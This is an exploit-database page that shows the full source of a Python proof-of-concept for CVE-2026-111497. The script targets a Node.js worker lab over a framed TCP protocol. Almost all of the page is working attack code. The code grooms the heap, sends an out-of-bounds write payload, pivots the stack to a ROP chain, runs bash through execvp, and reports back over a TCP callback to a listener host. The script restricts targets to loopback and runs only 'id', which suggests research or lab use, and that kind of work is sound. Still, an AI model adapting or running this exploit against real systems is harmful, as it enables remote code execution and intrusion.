Exploit database

GH-a6c1fc0a5e1776ef2b5465c2711c0628

arkango/cve-2026-111497

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
arkango/cve-2026-111497Revision 3582317659c6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/rce_worker.py

Python · 7,773 bytes
#!/usr/bin/env python3
"""
CVE-2026-111497 Worker-thread RCE exploit.

Achieves code execution on the Node.js v24.9.0 worker-record-transform
lab via the framed TCP protocol. The exploit:

  1. Opens a "groom" connection that shapes the heap layout
  2. Opens a "poison" connection with the RCE payload in the ring buffer
  3. The OOB write overwrites the saved return address on the stack
  4. Stack pivot redirects to the ROP chain in the ring buffer
  5. execvp("/bin/bash", ["-c", "id"]) runs and reports back via callback

The callback listener receives: token + newline + id output.

Usage:
    python exploit/rce_worker.py --target 127.0.0.1 --port 3000 \\
        --callback-host host.docker.internal --callback-bind 0.0.0.0
"""

from __future__ import annotations

import argparse
import secrets
import socket
import struct
import sys

sys.path.insert(0, str(__import__("pathlib").Path(__file__).resolve().parent.parent))
from trigger.brotli_stream import build_rce_stages, build_rce_stage2
from trigger.payload import build_proof_payload, PROFILES

LOOPBACK_ONLY = frozenset({"127.0.0.1", "::1", "localhost"})


def framed(data: bytes) -> bytes:
    return struct.pack(">I", len(data)) + data


def recv_line(s: socket.socket, limit: int = 256) -> bytes:
    buf = bytearray()
    while len(buf) < limit:
        b = s.recv(1)
        if not b:
            break
        buf.extend(b)
        if b == b"\n":
            break
    return bytes(buf)


def recv_at_least(s: socket.socket, minimum: int, limit: int) -> bytes:
    buf = bytearray()
    while len(buf) < minimum and len(buf) < limit:
        chunk = s.recv(min(65536, limit - len(buf)))
        if not chunk:
            break
        buf.extend(chunk)
    return bytes(buf)


def recv_to_close(s: socket.socket, limit: int = 1024) -> bytes:
    buf = bytearray()
    while len(buf) < limit:
        chunk = s.recv(min(512, limit - len(buf)))
        if not chunk:
            break
        buf.extend(chunk)
    return bytes(buf)


def healthcheck(host: str, port: int, timeout: float = 5.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout) as s:
            s.sendall(framed(b""))
            return recv_line(s) == b"PONG\n"
    except OSError:
        return False


def exploit(
    profile_id: str,
    host: str,
    port: int,
    callback_host: str,
    callback_bind: str = "0.0.0.0",
    callback_port: int = 4444,
    timeout: float = 60.0,
) -> dict:
    if host not in LOOPBACK_ONLY:
        raise RuntimeError(f"target must be loopback, got: {host}")

    profile = PROFILES.get(profile_id)
    if not profile:
        raise RuntimeError(f"unknown profile: {profile_id}")

    token = f"CVE111497_{secrets.token_hex(16)}"

    proof_payload = build_proof_payload(
        bss_payload=profile["bss_payload"],
        callback_gadget=profile["callback_gadget"],
        execvp_plt=profile["execvp_plt"],
        callback_host=callback_host,
        callback_port=callback_port,
        token=token,
        context_offset=profile.get("context_offset", 0x40),
    )

    groom_stage1, _ = build_rce_stages(
        profile["groom_word"],
        profile["groom_command_block_extra"],
    )
    poison_stage1, _ = build_rce_stages(
        profile["bss_payload"],
        profile["poison_command_block_extra"],
        proof_payload,
    )

    groom_stage2 = build_rce_stage2(profile["groom_staged_pos"], 127)
    poison_stage2 = build_rce_stage2(profile["poison_staged_pos"], 27)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((callback_bind, callback_port))
        listener.listen(1)
        listener.settimeout(timeout)

        groom = socket.create_connection((host, port), timeout=timeout)
        try:
            groom.sendall(framed(groom_stage1))
            ack = recv_line(groom)
            if ack != b"ACK\n":
                groom.close()
                return {"result": "fail", "detail": f"groom not accepted: {ack!r}"}

            groom.sendall(framed(groom_stage2))
            groom_out = recv_at_least(groom, 16384, 65536)
            if len(groom_out) < 16384:
                groom.close()
                return {"result": "fail", "detail": "groom ended too early"}

            poison = socket.create_connection((host, port), timeout=timeout)
            try:
                poison.sendall(framed(poison_stage1))
                ack = recv_line(poison)
                if ack != b"ACK\n":
                    poison.close()
                    groom.close()
                    return {"result": "fail", "detail": f"poison not accepted: {ack!r}"}

                poison.sendall(framed(poison_stage2))

                try:
                    cb, peer = listener.accept()
                    with cb:
                        cb.settimeout(min(timeout, 5.0))
                        proof = recv_to_close(cb)

                    text = proof.decode("ascii", errors="replace")
                    prefix = f"{token}\n"
                    if not text.startswith(prefix):
                        return {"result": "fail", "detail": f"token mismatch: {text!r}"}
                    identity = text[len(prefix):].strip()
                    if "uid=" not in identity or "gid=" not in identity:
                        return {"result": "fail", "detail": f"no id output: {identity!r}"}

                    return {
                        "result": "rce",
                        "peer": peer[0],
                        "token": token,
                        "identity": identity,
                    }
                except socket.timeout:
                    return {"result": "timeout", "detail": "no callback received"}
            finally:
                poison.close()
        finally:
            groom.close()


def main() -> None:
    parser = argparse.ArgumentParser(description="CVE-2026-111497 Worker RCE")
    parser.add_argument("--target", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=3000)
    parser.add_argument(
        "--profile",
        default="node-24.9.0-worker-record-rce-bookworm-x86_64",
        choices=list(PROFILES.keys()),
    )
    parser.add_argument("--callback-host", default="host.docker.internal")
    parser.add_argument("--callback-bind", default="0.0.0.0")
    parser.add_argument("--callback-port", type=int, default=4444)
    parser.add_argument("--timeout", type=float, default=60.0)
    args = parser.parse_args()

    print(f"[*] Target: {args.target}:{args.port} profile={args.profile}")
    print(f"[*] Callback: {args.callback_host}:{args.callback_port}")

    if not healthcheck(args.target, args.port):
        print("[!] Target not responding (PONG check failed)")
        sys.exit(1)
    print("[*] Health check passed")

    print("[*] Launching exploit (heap placement is probabilistic)...")
    result = exploit(
        profile_id=args.profile,
        host=args.target,
        port=args.port,
        callback_host=args.callback_host,
        callback_bind=args.callback_bind,
        callback_port=args.callback_port,
        timeout=args.timeout,
    )

    if result["result"] == "rce":
        print(f"\n[+] PASS: RCE verified by fresh id output")
        print(f"    callback_peer={result['peer']}")
        print(f"    proof_token={result['token']}")
        print(f"    proof_command=id")
        print(f"    proof_stdout={result['identity']}")
    elif result["result"] == "timeout":
        print(f"\n[-] FAIL: {result['detail']}")
        print("    Heap placement is probabilistic — retry may succeed")
    else:
        print(f"\n[-] FAIL: {result['detail']}")


if __name__ == "__main__":
    main()